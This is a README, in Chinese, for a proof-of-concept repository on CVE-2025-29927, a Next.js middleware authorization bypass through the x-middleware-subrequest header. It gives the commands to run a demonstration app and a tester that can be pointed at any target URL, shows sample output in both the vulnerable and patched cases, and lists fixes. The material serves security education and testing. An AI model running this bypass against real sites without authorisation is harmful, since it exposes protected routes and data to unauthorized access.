本仓库包含 CVE-2025-29927 的 概念验证 (POC),这是 Next.js 中的一个严重漏洞,允许攻击者绕过在中间件中实现的授权检查。
此 Next.js 应用程序通过一个受保护的控制面板路由演示了该漏洞。
npm install
npm run build
npm run start
该漏洞利用脚本可以测试任何 Next.js 应用程序是否存在此漏洞。
npm run exploit <target-url>
npm run exploit http://localhost:3000/dashboard
漏洞利用工具:
x-middleware-subrequest 标头绕过中间件=== Next.js CVE-2025-29927 Middleware Bypass Tester ===
Target: http://localhost:3000/dashboard
Testing vulnerability...
Normal request status: 307
Bypass request status: 200
⚠️ VULNERABLE
The route is protected but accessible with the bypass header
how-to-fix 分支 中提供了修复实现。
更新 Next.js 版本(推荐)
实现二次验证
=== Next.js CVE-2025-29927 Middleware Bypass Tester ===
Target: http://localhost:3000/dashboard
Testing vulnerability...
Making request without bypass header...
Making request with bypass header...
Normal request status: 307
Bypass request status: 307
✓ NOT VULNERABLE - Protected Route
The route is protected and the bypass attempt was unsuccessful
Normal request redirected to: /
Bypass request redirected to: /
Next.js 使用内部标头 x-middleware-subrequest 来防止递归请求。此漏洞允许攻击者通过操纵此标头绕过中间件安全检查。
想要更进一步?此 CVE 在 OSS OopsSec Store 中以 Flag 的形式实现,这是一个为攻击性安全训练而设计的故意存在漏洞的实验室。
👉 在此处尝试挑战 → kOaDT/oss-oopssec-store
此工具仅用于教育和测试目的。请仅在您拥有或获得明确测试许可的系统上使用此工具。